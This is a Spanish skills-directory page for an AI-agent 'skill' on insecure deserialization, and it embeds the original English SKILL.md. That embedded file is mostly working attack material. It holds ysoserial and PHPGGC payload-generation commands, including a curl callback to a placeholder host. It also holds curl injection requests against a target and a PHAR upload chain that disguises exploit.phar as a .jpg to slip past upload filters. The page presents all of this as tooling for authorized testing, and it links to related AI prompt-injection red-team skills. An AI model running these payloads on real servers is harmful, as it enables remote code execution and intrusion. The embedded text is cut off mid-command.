exploit-deserialization
Qué hace
Esta habilidad guía al agente para comprobar si una aplicación convierte datos entrantes de nuevo en objetos de forma insegura. Está pensada para probadores de seguridad que trabajan en objetivos autorizados o en retos de práctica.
Cuándo usarla
- ✓Cuando una aplicación pasa datos serializados en cookies, campos de formulario o peticiones de API y quieres comprobarlo.
- ✓Cuando un escaneo apunta al manejo de datos serializados de Java, PHP, .NET o pickle de Python.
- ✓Cuando una revisión de seguridad pregunta si datos de objetos no fiables podrían ejecutar código.
Link de la skill
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/deserialization/SKILL.mdCópialo y pégalo en tu IA (Claude, ChatGPT o Cursor) pidiéndole que siga las instrucciones.
Cómo usar
La forma más fácil: copia el mensaje y pégalo en tu IA. Ella lee la skill y sigue las instrucciones.
Mensaje listo para pegar
Para Claude Code, Codex o Cursor: ejecútalo en la carpeta del proyecto y la skill queda instalada.
Descarga el SKILL.md y ponlo en la carpeta de skills de tu agente.
Ejemplo de qué pedirle a la IA
“¿Puedes comprobar si la cookie de sesión de mi aplicación Java se deserializa de forma insegura?”
5 skills nuevas por semana. 1 minuto de lectura.
Cómo funciona
El agente identifica el formato de datos y la biblioteca en uso, y luego prueba patrones conocidos que podrían hacer que el servidor ejecute código no previsto.
Contenido técnico (SKILL.md original)
Texto original del autor, en inglés, directo de GitHub.
Insecure Deserialization
Exploits applications that deserialize untrusted data, achieving Remote Code Execution (RCE) by crafting malicious serialized objects that trigger gadget chains.
Auth-Cookie Checkpoint (Before Declaring a Blind Sink Unreachable)
Blind deserialization sinks frequently appear "unreachable" only because the request lacks a session cookie that gates the deserialize path (auth_tier, role flag, CSRF-bound session). Before concluding the sink is wrong:
- Re-check session cookies. Enumerate every cookie the app sets across anon, low-priv, and high-priv sessions. Read
recon_notes.mdfor the "Sink preconditions" table and "Required session state" line. - If recon did not enumerate cookie-gating (no preconditions table, no session-state line in handoff): bisect cookies yourself. Replay the payload with the FULL authenticated jar, then drop one cookie at a time until the sink behavior changes. The cookie whose removal silences the sink is the gating cookie.
- Replay with the gating cookie attached before concluding the chain or gadget is wrong.
- Only then consider sink-side causes (wrong gadget, wrong serialization format, length filter, allowlist).
Skipping this checkpoint is the most common false-negative pattern: the gadget chain was correct all along, but the request was unauthenticated and silently 302'd to login.
Identifying Deserialization Points
- Java: Base64-encoded blobs starting with
rO0AB(raw) oraced0005(hex),Content-Type: application/x-java-serialized-object - PHP: Strings matching
O:[0-9]+:"ora:[0-9]+:{, cookies/parameters with serialized data - .NET:
VIEWSTATEparameter,Content-Type: application/soap+xml,__VIEWSTATEfield - Python: Base64-encoded pickle data,
application/x-python-pickle
Java — ysoserial
# Generate payload (common chains: CommonsCollections1-7, Spring1, Groovy1, Hibernate1)
java -jar ysoserial.jar CommonsCollections5 'curl http://<CALLBACK>/rce' > payload_cc1.bin
java -jar ysoserial.jar CommonsCollections5 'curl http://<CALLBACK>/rce' | base64 -w0 > payload_cc1_b64.txt
# CC5 → Collections 3.2.1 | CC6 → Collections 3.2.2+ | CC2,4 → Collections 4.0
# Inject via curl
curl -s 'https://<TARGET>/api/endpoint' -H 'Content-Type: application/x-java-serialized-object' --data-binary @payload_cc1.bin -o deser_response.txt
PHP — PHPGGC
# Generate payload (chains: Laravel/RCE1-10, Symfony/RCE1-7, Guzzle/RCE1, Monolog/RCE1-7)
phpggc Laravel/RCE1 system 'id' -b > php_payload.txt
phpggc Laravel/RCE1 system 'id' -b | base64 -w0 > php_payload_b64.txt
PHP PHAR deserialization via file upload — the wrapper-triggered chain
When a target accepts file uploads AND any code path later passes a user-controlled filename through a PHP file function that ACCEPTS STREAM WRAPPERS (file_exists, file_get_contents, fopen, getimagesize, is_file, filesize, stat, md5_file, sha1_file, unlink, imagecreatefromjpeg/png/gif, etc.), uploading a PHAR file and referencing it via the phar:// wrapper triggers automatic deserialization of the PHAR's metadata — no unserialize() call required on the server side.
Pre-conditions: upload accepted (any extension — .jpg, .gif, .pdf, .phar, .txt all work because PHAR detection is content-based via signature, not extension); and at least one server-side path that resolves a user-influenced filename through a stream-wrapper-aware function.
# 1. Build PHAR with malicious metadata using phpggc (-p phar / --phar)
phpggc -p phar -o exploit.phar Monolog/RCE6 system 'id > /tmp/pwn'
# 2. Rename to a permitted upload extension so the upload filter accepts it
mv exploit.phar exploit.jpg
# 3. Upload via the app's upload endpoint
curl -s -X POST 'https://<TARGET>/upload' \
-F 'file=@exploit.jpg' -b "$COOKIE_JAR" -o upload_resp.txt
head -20 upload_resp.txt # extract the resulting filename/path
# 4. Trigger via any phar:// referencing endpoint
# Common surfaces: image processing, file-existence check, profile-image setter,
# avatar URL, attachment preview, report-export filename, log-viewer path.
curl -s "https://<TARGET>/preview?file=phar:///var/www/uploads/exploit.jpg" -o trigger.txt
curl -s "https://<TARGET>/avatar?path=phar:///var/www/uploads/exploit.jpg/test.txt" -o trigger2.txt
# 5. Verify execution via the chain's side-effect (file write, HTTP callback, DNS)
curl -s "https://<TARGET>/uploads/exploit.jpg.log" 2>/de
Preguntas frecuentes
¿Qué lenguajes cubre?
Cubre Java, PHP, .NET y los datos pickle de Python.
¿Por qué comprobar primero las cookies de inicio de sesión?
La habilidad advierte de que un punto de datos puede parecer inalcanzable solo porque la petición no incluye la cookie de sesión que lo desbloquea.
¿Es una habilidad solo para pruebas?
Es una habilidad de pruebas de seguridad y solo debe usarse en sistemas que tienes permiso para probar.
Detalles
Descripción original del autor
Insecure deserialization — RCE via malicious serialized objects in Java (ysoserial), PHP (PHPGGC), .NET (ysoserial.net), and Python (pickle). Covers gadget chain selection, payload generation, and injection into cookies, POST bodies, ViewState, and API endpoints.
Popularidad
- Estrellas en GitHub
- 6,5 mil
- Posición en el ranking
- #14059
- Licencia
- Apache-2.0
- Actualizada
- 1/11/2026
Comentarios
- …
Más skills de este repositorio
detector-overview
6,5 milAyuda a tu agente a leer el código que marcó un escáner y decidir qué puntos señalados son fallos de seguridad reales y cuáles son falsas alarmas.
exploiter-overview
6,5 milAyuda a tu agente a unir varias debilidades de seguridad confirmadas en una sola cadena de pruebas y comprobar hasta dónde podría llegar esa cadena.
llm-redteam-overview
6,5 milAyuda a tu agente a encontrar la guía adecuada de red team de IA para una prueba, con 15 grupos de tácticas que van desde la inyección de prompts hasta el abuso de modelos.
aatmf-t01-prompt-injection
6,5 milExplica la inyección de prompts, en la que instrucciones ocultas intentan anular un sistema de IA, para que los probadores de seguridad puedan comprobarla.
Skills parecidas
reverse-engineer-anything
422 milAyuda a tu agente a revisar apps y paquetes ya publicados para explicar sus funciones, comparar versiones o guiar una reconstrucción, usando la herramienta REA.
1password
394 milAyuda a tu agente a instalar la CLI de 1Password, iniciar sesión y leer o inyectar secretos sin imprimir sus valores en el chat.
healthcheck
394 milAyuda a tu agente a auditar el ordenador o servidor que ejecuta OpenClaw en busca de riesgos de seguridad, como SSH, cortafuegos, actualizaciones y copias de seguridad, y después sugerir arreglos seguros.